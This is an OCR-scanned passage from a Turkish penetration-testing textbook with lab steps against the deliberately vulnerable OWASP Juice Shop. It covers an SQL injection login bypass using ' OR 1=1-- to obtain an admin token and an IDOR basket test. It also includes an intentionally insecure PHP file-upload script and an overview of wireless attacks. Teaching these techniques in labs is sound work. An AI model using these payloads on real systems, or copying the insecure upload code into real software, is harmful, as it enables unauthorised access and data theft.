DEGERLENDIRME: Hedef sistem iizerinde gerceklestirilen nmap -sV taramasi sonucunda varsayilan
web portlari (80/443) disinda iki farkli servisin aktif oldugu tespit edilmistir. 3000/tcp portunda calisan
servis Nmap tarafindan ppp olarak tanimlanmis, 5000/tcp portunda ise upnp? seklinde kesin olmayan
bir servis tespiti yapilmistir. Bu durum, hedef sistemde standart disi portlar izerinden ¢alisan web
uygulamalari veya 6zel servislerin bulundugunu géstermektedir. Ozellikle 3000 ve 5000 portlarinin,
gelistirici ortamlarinda sik¢a kullanilan alternatif web servis portlari oldugu degerlendirilmektedir.

« 3000 = Node.js / dev server olma ihtimali ylksektir.
« 5000 - Flask / API / backend servisi olabilir.
4. Adim: Nmap taramasi sonucunda tespit edilen 3000/tcp portu lzerinden hedef sisteme tarayici

araciligiyla erisim saglayiniz ve ilgili porta yapilan erisim sonucunda meyve suyu web sitesinin ¢calistigini
gozlemleyiniz (Gorsel 3.57).

& C @ O & 192.168.1.230

KaliLinux 8 KaliTools = KaliDocs ® Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

= .OWASPJUICE Shop Q O Account @EN

E Login

All Products

Apple Juice Apple Bjat:}f:éja
(1000ml) Pomace (1000ml)
1.99x 0.89x 1.99x

r -

Gorsel 3.57: Web sitesinin galismasinin gézlemlenmesi

5. Adim: Web uygulamasina erisim sagladiktan sonra sizma testi slirecine baslamadan 6nce uygulama
araylzini inceleyiniz.

Bu asamada kullanicidan veri alan giris noktalarini, kimlik dogrulama mekanizmalarini
m ve etkilesimli bilesenleri analiz ediniz. Yapilan inceleme sonucunda uygulamanin sag Ust
kosesinde yer alan Login (Giris) butonunu tespit ediniz. Bu bilesenin kullanici dogrulama
slrecine erisim sagladigini gbz 6niinde bulundurunuz, sizma testleri agisindan kritik bir
hedef olarak degerlendiriniz ve detayl analiz icin 6ncelikli test noktasi olarak belirleyiniz.
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6. Adim: Web uygulamasi ile istemci arasindaki trafigi analiz edebilmek amaciyla Burp Suite lizerinde
Proxy -» Intercept sekmesine geginiz, bu bolimde yer alan Intercept is on segenegini aktif hale getiriniz,
Intercept Ozelliginin aktif olmasi ile birlikte tarayici lizerinden gonderilen HTTP isteklerinin Burp Suite

tarafindan yakalandigini gozlemleyiniz ve yakalanan bu istekleri inceleyerek génderilen parametreleri,
header bilgilerini ve veri yapisini analiz ediniz (Gorsel 3.58).

m Bu asamaya gecmeden Once tarayici Uzerinde proxy ayarlarinin Burp Suite’i isaret edecek
sekilde yapilandirildigini kontrol ediniz.

Burp  Project  Intruder  Repeater Window  Help
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn

Intercept HTTP history WebSockets history {G} Proxy settings

Intercept is on Actio Open browser

DS

Intercept is on

Requests sent by Burp's browser will be held here so that you
can analyze and maodify them before forwarding them to the
target server.

Gorsel 3.58: Paket yakalama aktif edilmesi

7. Adim: Tarayici Gzerinden hedef web uygulamasinda bulunan login formuna test amaciyla kullanici
bilgilerini girerek giris islemini gerceklestiriniz (Gorsel 3.59).

QO & o 192 230:3(

¢ {8 KaliTools # KaliDocs M Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

i'OWASP Juice Shop Q e Account @EN

Login

mtegm

2] Login

[0 Remember me

Gorsel 3.59: Login denemesi
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8. Adim: Login isleminden sonra gonderilen HTTP isteginin Burp Suite tarafindan yakalandigini
gozlemleyiniz, yakalanan buistegi Burp Suite lizerinde Proxy - Intercept sekmesi altinda goriintileyiniz
ve request istegini degerlendiriniz (Gorsel 3.60).

Burp Suite Community Edition v2023.1.2 - Temporary Project

Burp  Project Intruder Repeater 'Window  Help
Dashboard Target F Intruder Repeater Sequencer Decoder ‘Comparer Logger Extensions Learn {5} settings

HTTP history WebSockets history &} Proxy settings

f Request to http://192.168.1.230:3000

Forward Drap Action Open browser amment this item W | wrren (B
Pretty Raw Hex Inspector n n T - & X
FOST /rest/user/login HTTR/1.1 ¢
Host: 192.168.1.230: 3000 Request attributes 2 ~

User-Agent: Mozilla/S. 0 (¥11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: spplication/json, text/plain, */*

Accept -Language: en-US en; 0.5 Request query parameters o b
Accept-Encoding: gzip, deflate

Content-Type: application/]son

Content-Length: 27

Origin: http: //152. 168.1. 230: 3000

Connection: close

11 Referer: http://192.168.1.230: 3000/

12 Cookie: language=en; welcomebanner_status=dismiss; cockieconsent_statussdismiss

@ e Wk

Request cookies 2l ~

=
(=Rt

Request headers il ~

1944
"email": "mtegm",
"password": "deneme"

Gorsel 3.60: Request paketinin yakalanmasi

9. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Burp Suite lzerinde yakalanan HTTP istegi incelendiginde istemciden sunucuya
gonderilen login talebinin POST /rest/user/login endpointi Gzerinden gerceklestirildigi gdzlemlenmistir.
Bu durum, uygulamanin kimlik dogrulama islemlerini REST API Gizerinden ylrittigina géstermektedir.

istek iceriginde génderilen verilerin JSON formatinda iletildigi ve kullanici bilgilerinin acik bir sekilde
“email” ve “password” parametreleri icerisinde tasindigl analiz edilmistir. Ayrica header kisminda
yer alan Content-Type: application/json ifadesi, veri formatini dogrulamaktadir. Bu yapi, sizma
testi acisindan kritik bir test yiizeyi olusturmaktadir. Ozellikle bu parametreler iizerinde yapilacak
manipllasyonlar ile SQL Injection, authentication bypass ve input validation zafiyetleri test edilebilir.
Bununla birlikte API tabanh yapilarin genellikle istemci tarafi kontrollerine daha az bagiml olmasi
nedeniyle dogrudan request lizerinden yapilacak miidahaleler daha etkili sonuclar verebilir.

10. Adim: Burp Suite lzerinde yakalanan login istegini daha kontrolli bir sekilde analiz edebilmek
amaclyla ilgili requesti sag tiklayarak Send to Repeater secenegi ile Repeater sekmesine gdnderiniz ve
Repeater sekmesine gegis yaparak burada istegin detaylarini inceleyiniz.
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11. Adim: Login istegi lizerinde kimlik dogrulama mekanizmasini test etmek amaciyla parametreler
Uzerinde SQL Injection payloadi uygulayiniz. Bu kapsamda request icerisinde yer alan email ve password
parametrelerini “password”: “123” “email”: “ ‘ OR 1=1--" seklinde degistirerek send butonuna basiniz
(Gorsel 3.61).

4 Burp Suite Commu

Burp  Project  Intruder  Repeater Window

Dashboard Target Praxy Intruder T Sequencer Decoder Comparer Logger Extensions Learn {5} settings
1% 2 R 4 5 x 6 H 7 ox 8 ® + Q

' Target: http://192.168.1.230:3000 /7 HTTPA (3)

== Inspector w = - ® X
Request Response pec = - "
Pretty Raw Hex 8 = Raw 8 = Request attributes 2 v
1 POST frest/user/Login HTTP/1.1
2 Hest: 192.168.1.230: 3000 eI 7 o

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102 0) Gecko/20100101
Firefox/102. 0
4 Accept: application/jsen, text/plain, */* Request cookies 3 ~
S Accept-Language: en-US,en;cr0.5
6 Accept-Enceding: gzip, deflate
7 Content-Type: application/json
& Content-Length: 37
9 Origin: http://192.168.1. 230: 23000
10 Connection: close
11 Referer: http://192.168.1, 230; 3000/
12 Coockie: langusge=en; welcomebanner_status=dismiss; coockieconsent_status=dismiss

Request headers Ll ~

14 {
"email™: "' OR 1=1--",
15 "passward": "123"
}

0 matches

@ €2 | sea omatches | ()G} [ €[] | ==

Ready

Gorsel 3.61: Repeater sekmesinde inceleme

12. Adim: Repeater lizerinde SQL Injection payloadi iceren request gonderildikten sonra sunucudan
dénen responseu inceleyiniz ve response sonucunu degerlendiriniz (Gorsel 3.62).

Burp Suite Community Edition v2023.1.2 - Temporary Project

Burp  Project Intruder Repeater Window  Help

Dashboard Target x Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn {5} Settings
1 x 2 x 3 x 4 % 5 % & x 7 ox I Q,

m & Target: http://192.168.1.230:3000 P HTTPA (3)

== - ol

Request Response o Inspector D= ® X
Pretty Raw Hex 8= Pretty Faw Hex 8 = Request attributes 2 -
1 fosT /rest/user/login HTTP/L. 1 1 HTTP/L.1 200 0K @

2 Host: 192 168 1.230: 2000 2 Access-Control-Allow-Origin: * Request query parameters 0 o
3 User-Agent: Mozilla/5.0 (X11; Linux xB6_64; rv:102.0) Gecke/20100101 2 X-Content-Type-Options: nosmiff equest quenyp

Firefox/162 0 4 X-Frame-Optiens: SAMEORIGIN

4 Accept: application/ison, text/plain, %/ S Feature-Policy: payment 'self' Request cookies 3 v
5 Accept-Langusge: en-US,2n; 0.5 & X-Recruiting: /#/jobs

& Accept-Encoding: gzip, deflate 7 Content-Type: application/json; charset=utf-8

7 Content-Type: application/json & Content-Length: 816 Request headers 1 v
2 Content-Length: S1 9 ETag: W/"230-55YmyendbrOgdbdVESDNSSGOsKs"

9 Origin: http://192. 168.1. 230: 3000 10 Vary: Accept-Encoding
10 Cornection: close 11 Date: Fri, 27 Mar 2026 21:19:19 GHT Respanse headers n v
11 Referer: http: //192 168 1. 230: 3000/ 12 Connection: close
12 Cookie: 1 mi wel - statusd ; cookisconsent_ststusdismiss | 1
12 144
14 { "authentication": {

“email®: "' OR 1=1--", "token":
15 “password"; "123" "eyl0eXAL0LIKVI0iLCIhbGe101ISUZI1NLIS. ey JzdGFOdXMi0LIZdNN] ZXNZIiwi ZGFOYSIEey
} JIpZCIEMSwidXMl cmShbWU101T1l CI1BWFpbCIEIm kbWl UOGP1aNL L XNol mSwTiwic GFzeSdvem

16 0104 TwMTkyHDTzYTdi¥mQ3MzTLMDUxNmYwhj LkZ] E4Y] UnHCI=Ind vbGUi01IhZ61pbiTsInALbH
17 V4ZVRva2VuljoiliwibGFzdExvZ2l uSXALOLITxOTIUMTY4L] EUMTAwT iwicHIvZml sZULt WAL T]
18 01 YXNZZXRzL 3B1 YmxpYy 5 yokZnzk i G5ATiwicl nr3
13 ILdCIET1TsInl Z0NNGaXZLT] pOcnVLLC1] cnVhdGVkOX010iTyMDI2L TAZL TI3IDT w0 MyOj UzLj
20 E4NSArMDABMDALLCI1cGRhdGYKOX010iTyMDI2L TAZL TIZIDIw0] U40] QzL ] k20SA rMDAGMDAILC

IkZNLdGVKOXI0MS1EGxELCIR X010 E3NZONDYZNTLE. hRbLivuVMrkFIs=bool svgikt it
SVPSb¥MUL1hFD r1IV2QYwVLWh-20f OXPHI THFeNaMb2xsBf RLey ToBeBUbg T Q_mt gSnLwyRLT1E
PELN_NIL3uzpSyCoZae17VKEGeOKIW rmANNU2Br o7y OKmAAR - he 0asDG940023] FRa"
"bid": 1,
tumail
3
3

“admin@juice-sh. op"

XS €] (2] [search.. omatches | (DG} (€] (D] [ Search. 0 matches

1.174 bytes | 223 millis

Gorsel 3.62: Response ekrani
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13. Adim: Degerlendirmenizi verilenle karsilagtiriniz.

DEGERLENDIRME: Response bélimiinde HTTP/1.1 200 OK durum kodunun dondiigii goriilmektedir.
Bu durum, istegin sunucu tarafindan basarili bir sekilde islendigini géstermektedir.

Response icerigi analiz edildiginde sunucunun “authentication” nesnesi altinda bir token (JWT) Urettigi
ve kullaniciya ait bilgileri (6rnegin “email”: “admin@juice-sh.op” gibi) dondirdigi goérilmektedir. Bu
durum, gecerli kullanici bilgileri girilmeden sisteme erisim saglandigini géstermektedir.

Gonderilen SQL Injection payloadi, kimlik dogrulama mekanizmasini bypass etmektedir. Bu zafiyet,
uygulamanin kullanici girdilerini yeterince filtrelemedigini ve veritabani sorgularinin manipile
edilebildigini gostermektedir. Elde edilen bu bulgu, sistem Uzerinde kritik seviyede bir SQL Injection
zafiyeti bulundugunu ve yetkisiz erisim saglanabildigini ortaya koymaktadir.

14. Adim: SQL Injection testi sonucunda basarili bir response alindiktan sonra Burp Suite Gzerinde
gerceklestirilen paket analizini sonlandiriniz [Bunun igin Intercept 6zelligini kapatarak (Intercept is off)
normal trafik akisina geri déniintz.].

15. Adim: Tarayiclya gecis yapip web uygulamasini yeniden yikleyiniz (Refresh ediniz.). Uygulama
araylzini incelediginizde herhangi bir ek kimlik bilgisi girilmeden kullanici oturumunun aktif hale
geldigini ve sistemin sizi yetkili bir kullanici olarak tanimladigini gézlemleyiniz (Gorsel 3.63).

= '}OWASPJuice Shop

All Products

Gorsel 3.63: Admin ekrani

16. Adim: Kullanici bilgileri, hesap detaylari veya yonetimsel erisimlerin gorintilenmesi durumunda
admin yetkilerinin elde edildigini dogrulayiniz.

17. Adim: Response paketinde elde edilen JWT (JSON Web Token) degerini, cevrim ici JWT ¢oziimleme
araclarikullanarak decode ediniz ve icerdigi veri yapisini analiz ettiginizde kullaniciya ait e-posta bilgisinin
elde edildigini ve parola bilgisinin hashlenmis sekilde bulundugunu gézlemleyiniz (Gorsel 3.64).

{
"status”: "succe
"data": {

“password” : "8192823a7bbd73258516f869df18h580
“role": "admin",

“deluxeToken”:
"lastLoginIp”:
“profileImage”: “assets/public/im
"totpSecret”:
"isActive": true,
"createdAt”: "2026-83-27 28
"updatedAt”: "2026-8
"deletedAt”: null

| 8

"iat": 1774646359

H

Gorsel 3.64: Decode edilmis token
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Meyve suyu satisi web uygulamasi izerinde IDOR (Insecure Direct Object Reference) zafiyeti bulunup
bulunmadigini adimlari takip ederek test ediniz.

1. Adim: Burp Suite lizerinde Intercept Ozelligini aktif hale getirdikten sonra web uygulamasi Gizerinde
kullanici islemleri gerceklestiriniz (Ornegin sepete iiriin ekleme veya gériintiileme islemleri yapiniz.) ve
bu islemler sirasinda gonderilen HTTP isteklerinin Burp Suite tarafindan yakalandigini gézlemleyiniz.

2. Adim: Yakalanan istekler icerisinde GET /rest/basket/1 endpointine yapilan istegi tespit ediniz. Bu
endpointin kullaniciya ait sepet bilgilerini getirdigini degerlendiriniz.

3. Adim: URL igerisinde yer alan /1 ifadesinin dogrudan bir nesne referansi (ID) oldugunu tespit ediniz
(Gorsel 3.65).

Burp Suite Community Edition v2023.1.2 - Temporary Project

Burp  Project Intruder Repeater Window  Help
Dashboard Target oy Intruder Repeater Sequencer Decader Comparer Logger Extensions Learn {8} Settings

HTTP histary WebSackets histary {5} Proxy settings

(P Requestto http:/f192.168.1230:3000

Forward Drop Action Open browser W  wrren (B

Row  Hex B " = nspector o - @ X
1 GET /rest/basket/1 HTTF/1.1
2 Host: 192 168 1 230:3000 Request attributes 2 v
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firsfox/102.0
4 Acecept: application/jsen, text/plain, */%
5 Accept-Language: en-US,en;oe0.5 Request query parameters ° v
G Accept-Encoding: gzip, deflate
7 Muthorization: Bearer
2y102XAL0LIKVI0ILCIMbGE101ISUZTINLIS. ey 1zdGFOdXMi01IzdWN] Z¥NZTiniZGFOYSIG=y IpZC: %N Til CTLEWFRbCIEIMFRENLQGRLEWNLLXNoLmSwTiwic GFze 3dve mOi0i TwMTkyMDI=YT Request body parameters o ~
dli¥nQ3MZTIMDLxHn Y whj LkZ] E4Y] InMCISInI vbGUi041hZG1phi ISInRL bHV4ZVRva2YuT] 01linibGFzdExyZ2l USKALOLTXOTIUMT VAL ] ELMTAwLinicH]vZnl sZULt WdLIj o1 ANz ZXRzL 3E1YmxpY ySpbFnZXHvel
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J0PTO_-ITpyRgjE80d-1z_gl0rekdl AJP2yqGNaDl vogFc Ol eDQueH76] Fe2k - g09vMs1 SPYgH] BSgtEU
6 Conmection: closs Request headers 10 v
o Referar: http: //192.168, 1.230; 3000/
10 Cookie: 1 n; wele _status=di cookieconsent_status=dismiss; toker=
2y102XAL0LIKVI0ILCIMbGE101ISUZTINLIS. EszdGFOdXmeszﬂNJZ NzIiwiZGFOYSIGeyIpZC: XN emShbWUL0LTiLC Il BNFpb CIEImFBL UG L=WNL LXNoLmSWIiwic GFze 3dvemOi0i TwMTkyMDI=YT
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IDIw0j U40] 0L k20SArMDAGHDALLCIKZNKL GV OX0L0MS1kGxSLCIR X010 E3NZ0NDYONTRS, JBCa0P rEDOC ZNTUN - 2546 VeV Zhz IBIDNFtmzoy 0yt Ja_mlICLet XvhxSLs- yoxy] uIBev_FAUDZLZ] Rj EhePH2
J0PTO_-TTpyRgjEB0d-12_g10r8kdl AJP2yqGNaDl vagFc Ol eD0ueH76] Fe2k -g0avHs1 SPYoH] BSgtEU

11 If-None-Match: W/"Sle-124FPiLlmuslnGETENOCHOSNSES"

12

@@ €] (3] [search... O matches
Gorsel 3.65: Request paket analizi
4. Adim: Yakalanan requesti Burp Suite lizerinde Repeater sekmesine gonderiniz.

5. Adim: Repeater lizerinde request icerisindeki endpointi GET /rest/basket/2 HTTP/1.1 seklinde
degistiriniz ve send butonuna basarak sonucu degerlendiriniz (Gorsel 3.66).
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Gorsel 3.66: Response paketi
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6. Adim: Degerlendirmenizi verilenle karsilastiriniz.

DEGERLENDIRME: Response igerisinde “userld”: 2 gibi farkl bir kullaniciya ait verilerin déndiigiini
gbzlemlenir. Bu durum, uygulamanin kullanici yetkilendirmesi yapmadan yalnizca ID degerine gore
veri dondiurdigiini gostermektedir. Yapilan bu test sonucunda sadece URL Uzerindeki ID degerinin
degistirilmesi ile farkli bir kullaniciya ait verilere erisim saglanabildigi gortlmektedir. Bu durum,
uygulamada IDOR zafiyeti bulundugunu acikca gostermektedir. Sistem, gelen istegin yetkili kullaniciya
ait olup olmadigini kontrol etmeden veri déndirmektedir.

Sira Sizde ~

Gorsel 3.67°de verilen PHP kodu, bir web uygulamasinda kullanicilarin dosya yliklemesine izin veren
bir yapiy1 gostermektedir. Verilen kodu inceleyiniz ve asagida istenenleri yapiniz.

» Dosya yiikleme siirecinde yapilan kontrolleri analiz ediniz.

» Kod igerisinde bulunan glvenlik zafiyetlerini tespit ediniz.

Bu zafiyetlerin hangi saldiri tiirlerine yol agabilecegini agiklayiniz.

Saldirganin bu zafiyeti nasil istismar edebilecegini adim adim degerlendiriniz.

<?php

if( isset( $_POST[ 'Yukle' ] } ) {
// Dosyanin kaydedilecedi hedef dizin
S$hedef yol = DVWA WEB_PAGE_TO ROOT . "hackable/uploads/";:
$hedef yol .= basename( $_FILES[ 'yuklenen dosya' ][ 'name' ] );

// Dosya bilgileri

$dosya_adi = $_FILES[ 'yuklenen dosya' ][ 'name' ];
$dosya_turu = §_FILES[ 'yuklenen dosya' ][ 'type' 1:
$dosya boyutu = $_FILES[ 'yuklenen dosya' ][ 'size' ]:

// Dosya bir resim mi?
if( ( $dosya turu == "image/jpeg” || Sdosya_turu == "image/png" } &&
{ $dosya boyutu < 100000 ) ) {

// Dosya ytkleme dizinine tasinabiliyor mu?

if( !move uploaded file( $_FILES[ 'yuklenen dosya' 1[ 'tmp name' 1, Shedef yol ) ) {
// Hayir
Shtml .= '<pre>Resminiz ylklenemedi.</pre>';
1
else {
// Evet
$html .= "<pre>{$hedef yol} bagariyla yiklendi!</pre>";
}
}
else {
// Gegersiz dosya
$html .= '<pre>Resminiz yiklenemedi. Yalnizca JPEG veya PNG tiirindeki gorseller kabul edilmektedir.</pre>';

i

Gorsel 3.67: Zafiyet iceren kod
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Sira Sizde

Zafiyet iceren bir web uygulamasinda kapsamli bir sizma testi gerceklestirmeniz istenmektedir. Bu
kapsamda su zafiyet tirlerini test ediniz:

« SQL Injection

« XSS (Reflected, Stored, DOM)

« Command Injection

« File Inclusion (LFI/RFI)

+ File Upload zafiyetleri

« CSRF (Cross-Site Request Forgery)

« Brute Force (Zayif parola testleri)

« Authentication Bypass

- IDOR (Insecure Direct Object Reference)

» Security Misconfiguration

Her bir zafiyet icin uygun payloadlari kullanarak test ediniz, zafiyetin istismar edilip edilemedigini
dogrulayiniz ve elde ettiginiz sonuclari degerlendiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olcgutlerini dikkate aliniz.

3.1.3. Kablosuz Ag Sizma Testi Uygulamalari

Kablosuz ag teknolojileri, buglin kurumlarin ve bireylerin iletisim altyapisinin 6nemli bir parcasi haline
gelmistir. Ofis ortamlarindan kamu alanlarina, ev kullanicilarindan endistriyel sistemlere kadar genis
bir kullanim alanina sahip olan kablosuz aglar; sagladigi esneklik ve erisilebilirlik sayesinde tercih edilir
ancak bu teknolojiler, dogasi geregi fiziksel sinirlarin 6tesine tasan sinyaller Gzerinden ¢alistigi icin siber
saldirganlar acgisindan cazip hedefler arasinda yer alir.

Kablosuz aglarda karsilasilan glivenlik riskleri ¢ogu zaman zayif sifreleme yontemleri, hatali
yapilandirmalar, varsayilan ayarlarin degistiriimemesi, kullanici hatalari gibi nedenlerden kaynaklanir.
Bu tiir zafiyetler; yetkisiz kisilerin aga baglanmasina, ag trafiginin izlenmesine, veri maniptilasyonuna ve
hatta i¢ ag kaynaklarina erisim saglanmasina neden olabilir. Ozellikle ortak kullanim alanlarinda kurulan
aglar, gerekli giivenlik énlemleri alinmadiginda ciddi riskler barindirir. Kablosuz ag sizma testleri
(Wireless penetration testing), bu risklerin ortaya ¢ikariimasi ve glivenlik seviyesinin degerlendirilmesi
amaclyla gergeklestirilen sistematik ve kontrolll test stirecidir. Bu testlerde amag, gergek bir saldirganin
bakis acisiyla hareket ederek ag lzerindeki zayif noktalari tespit etmek ve bu zafiyetlerin ne dlclide
istismar edilebilecegini belirlemektir.

Kablosuz ag sizma testleri kapsaminda erisim noktalarinin (Access Point) tespiti, gizli aglarin tespiti,
kullanilan sifreleme tirlerinin analizi, kimlik dogrulama mekanizmalarinin incelenmesi, ag trafiginin
gozlemlenmesi gibi adimlar uygulanir. Bunun yani sira sahte erisim noktasi (Evil Twin) olusturma, parola
kirma denemeleri ve istemci cihazlara yonelik saldiri senaryolari da test siirecine dahil edilebilir.
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Test slirecinde 6ncelikle hedef kablosuz ag ortami analiz edilerek aktif cihazlar ve yayin yapan aglar
belirlenir. Ardindan agin givenlik yapilandirmasi detayh sekilde incelenir, potansiyel zafiyetler
ortaya cikarihr ve gerekli durumlarda kontrollii saldiri senaryolari uygulanir. Ozellikle WPA/WPA2
yapilandirmalari, parola karmasikligi, MAC filtreleme mekanizmalari ve istemci davranislari dikkatle
degerlendirilir.

Kablosuz Ag Sizma Testi Uygulamalarinda Kullanilan Metodolojiler

Kablosuz ag sizma testi uygulamalari da diger sizma test tlrlerinde oldugu gibi belirli metodolojiler
cercevesinde gercgeklestirili. Bu metodolojiler; test silirecinin planli, sistematik ve tekrar edilebilir
olmasini saglayarak elde edilen bulgularin glvenilirligini artirir. Ayni zamanda testlerin belirli bir
standarda uygun sekilde yuritilmesine imkan tanir.

Kablosuz ag givenligi alaninda en yaygin kullanilan yaklasimlar arasinda OWASP tarafindan sunulan
genel glivenlik prensipleri ile birlikte NIST, PTES gibi cerceveler yer alir. Bu kaynaklar, kablosuz aglarin
degerlendirilmesi siirecinde izlenmesi gereken adimlar ve dikkat edilmesi gereken glivenlik kontrolleri
acisindan onemli rehberler sunar. Bu metodolojilere gore kablosuz ag sizma testleri; kesif (reconnais-
sance), aglarin tespiti, givenlik yapilandirmalarinin analizi, kimlik dogrulama mekanizmalarinin ince-
lenmesi, istemci tarafli saldiri senaryolarinin degerlendirilmesi gibi asamalar tizerinden gerceklestirilir.
Surecin ilk adiminda ¢evredeki kablosuz aglar, erisim noktalari ve bagli istemciler belirlenir. Ardindan
kullanilan sifreleme tiirleri (WEP, WPA, WPA2, WPA3), parola politikalari ve ek giivenlik 6nlemleri analiz
edilir. Devam eden asamalarda; yetkisiz erisim denemeleri, parola kirma testleri, sahte erisim noktasi
(Evil Twin) senaryolari, ag trafigi dinleme (sniffing) gibi kontrolli testler uygulanir. Ayrica istemci cihaz-
larin zayif davranislari ve otomatik baglanti 6zellikleri de degerlendirilerek olasi saldiri ylizeyleri ortaya
cikarihr. Bu yaklasim, kablosuz aglarda en sik karsilasilan giivenlik agiklarinin sistematik bir sekilde tespit
edilmesini saglar.

Kablosuz Ag Sizma Testlerinde Test Edilen Agikliklar ve Saldirilar

Kablosuz ag sizma testlerinde amag yalnizca aga yetkisiz erisim saglamak degil bu erisimin hangi glivenlik
zafiyetlerinden kaynaklandigini ortaya koymaktr. Bu siirecte hem kablosuz iletisim altyapisindaki
yapilandirma hatalari hem de kimlik dogrulama, sifreleme ve ag erisim kontrol mekanizmalarindaki
eksiklikler detayli olarak incelenir.

Kablosuz aglar; erisim noktalari (Access Point), istemci cihazlar ve hava ortami lzerinden gerceklesen
veri iletimi nedeniyle farkh saldiri tiirlerine agik olabilir. Ozellikle kablosuz sinyallerin fiziksel sinirlar
disinda da erisilebilir olmasi, bu aglari dis tehditlere karsi daha savunmasiz hale getirir. Bu nedenle test
slrecinde hem erisim noktalarinin yapilandirmasi hem de istemci cihazlarin aga baglanma davranislari
birlikte degerlendirilir.
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Test edilen baslica zafiyet tilrleri ve bu zafiyetlere karsi gergeklestirilen saldirilar Tablo 3.4’te

gosterilmektedir.

Tablo 3.4: Kablosuz Ag Sizma Testlerinde Agikhklar, Saldirilar ve Saldiri Turleri

Agikhik Turii Test Edilen Durumlar Uygulanan Saldirilar | Saldiri Tiirii (Kategori)

Zayif Sifreleme ve
Protokol Zafiyetleri

WEP kullanimi, zayif WPA/
WPA2 yapilandirmasi,

WEP cracking, WPA
handshake capture,

Sifre kirma saldirilari
(Cryptographic

WPA3 eksikligi dictionary attack attacks)
Kimlik dogrulama
L . Zayif parola, varsayilan Brute-force,
Kimlik Dogrulama . . saldirilari
i N sifreler, brute-force dictionary attack, .
Zafiyetleri . (Authentication
korumasi olmamasi password cracking
attacks)

Yetkisiz Erisim
Zafiyetleri

MAC filtreleme eksikligi,
acik aglar, gizli SSID yanlis
kullanimi

Unauthorized access,
MAC spoofing

Yetkisiz erisim
(Unauthorized access)

Erisim Noktasi (Access
Point) Zafiyetleri

Varsayilan ayarlar, zayif
yonetim araytzl glvenligi

Rogue AP, Evil Twin
attack

Erisim noktasi
saldirilari (AP attacks)

istemci Tarafli

Otomatik baglanti,
glvenilmeyen aglara

Evil Twin, karma ag

istemci hedefli
saldirilar (Client-side

Zafiyetler saldirilar
v baglanma attacks)
Ag Trafigi Guvenligi ifrelenmemis veri iletimi, Trafik analizi saldirilar
g. & . g ? . : Packet sniffing, MitM - )
Zafiyetleri zayif sifreleme (Sniffing/MitM)

Servis Digi Birakma

Agda koruma

Deauthentication
attack, disassociation

Hizmet engelleme
saldirilari (DoS

DoS) Zafiyetleri mekanizmasi eksikligi
(Dos) v 8 attack attacks)
. Varsayilan SSID, kanal Network
Ag Yapilandirma . . . Yapilandirma
cakismalari, yanlis misconfiguration . .
Hatalari _ . zafiyetleri
konfiglirasyon exploit
Bilgi toplama
Gizli Ag (Hidden SSID) | SSID gizleme ile glivenlik | SSID discovery, g1 top .
. e e ) . e (Information
Yanilgisi saglandigi dislncesi passive sniffing .
gathering)

Gelismis Kimlik
Dogrulama Zafiyetleri
(802.1X vb.)

Sertifika dogrulama
eksikligi, yanhs
yapilandirma

EAP attack, credential
harvesting

Kurumsal ag saldirilari
(Enterprise attacks)
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Kablosuz ag sizma testi araglari ile ag kesfi, paket analizi, parola kirma, saldiri similasyonu gibi farkli
asamalarda kullanilabilir. Tablo 3.5'te kullanim sekilleri agiklanan ve acik kaynak olarak sunulan birgok
arac hem egitim ortamlarinda hem de sizma testi senaryolarinda yaygin olarak tercih edilir ve surekli

gincellenmelerisayesinde glincel tehditlerin tespitlerine karsi sizma testlerinde etkin ¢éziimler sunarlar.

Tablo 3.5: Kablosuz Ag Sizma Testi Agik Kaynak Araglari ve Kullanim Amaglari

Kullanildigi Test .
Arag Adi Kullanim Amaci Temel Kullanim Sekli
Asamasi

. ) Ortamdaki kablosuz aglari ve | Monitor modda galisan kablosuz
. Ag Kesfi or e
Kismet . bagh istemcileri pasif olarak | adaptor ile cevredeki aglar dinlenir
(Reconnaissance) ) o i
tespit etmek ve SSID bilgileri elde edilir.
. . Kablosuz aglari analiz etmek | Airodump ile handshake yakalanir,
. Ag Kesfi / Parola ) . . )
Aircrack-ng o ve WPA/WPA?2 sifrelerini ardindan Aircrack ile parola kirma
test etmek islemi uygulanir.
Ag trafigini analiz etmek ve | Monitor modda yakalanan paketler
Wireshark | Paket Analizi g. & . ,.Z . Y . P -
veri paketlerini incelemek filtrelenerek detayl analiz edilir.
Belirli arayliz ve filtrelerle paketler
. Komut satirindan trafik v P
tcpdump Paket Analizi yakalanir ve .pcap dosyasina
yakalama ve kayit alma o
kaydedilir.

Kablosuz ag sizma testlerinde el sikisma (handshake) siireci, ag glivenliginin degerlendirilmesinde kritik
bir asamayi temsil eder. WPA/WPA2 protokollerinde kimlik dogrulama sirasinda gerceklesen bu sireg,
ag ile istemci arasinda glivenli iletisimin kurulmasini saglar. Sizma testi perspektifinden bakildiginda ise
bu asama, agin parola givenliginin test edilmesi agisindan 6nemli bir firsat sunar. Test sirasinda sizma

testi uzman, ag trafigini izleyerek el sikisma paketlerini yakalamayi hedefler. Ozellikle istemcinin aga
yeniden baglanmasinin saglandigi senaryolarda bu paketler elde edilebilir ve ardindan parola kirma
teknikleri uygulanarak agin dayanikhhgi analiz edilir.

Bu nedenle el sikisma sirecinin dogru anlasiimasi ve kontrolli sekilde test edilmesi, kablosuz ag
glvenliginin saglanmasinda 6nemli bir adimdir.

WPAS3 sifreleme, handshake tabanl off-line saldirilari engelleyen, her oturum icin benzersiz anahtar
Ureten ve kimlik dogrulama sirecini daha glivenli hale getiren yapisi sayesinde WPA2'ye kiyasla ¢cok
daha dayanikli bir kablosuz ag glivenlik protokoludir (Gorsel 3.68).

\A'
\ 1 ® ‘

_LIN ﬁ

Kablosuz Ag (Router)

SAE Kimlik Dogrulama

(Simultaneous Authentication of Equals)

Benzersiz Oturum Anahtan
(Unigue Session Key)

o

@ Ilerl G' |'l'k:rnrw d Sereaiat

~ _ Her Deneme Gergek Zamanli!

Gorsel 3.68: WPA3 handshake
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Bu uygulamalarda zafiyet iceren kablosuz ag ortami, sanal makine (izerinde simiile
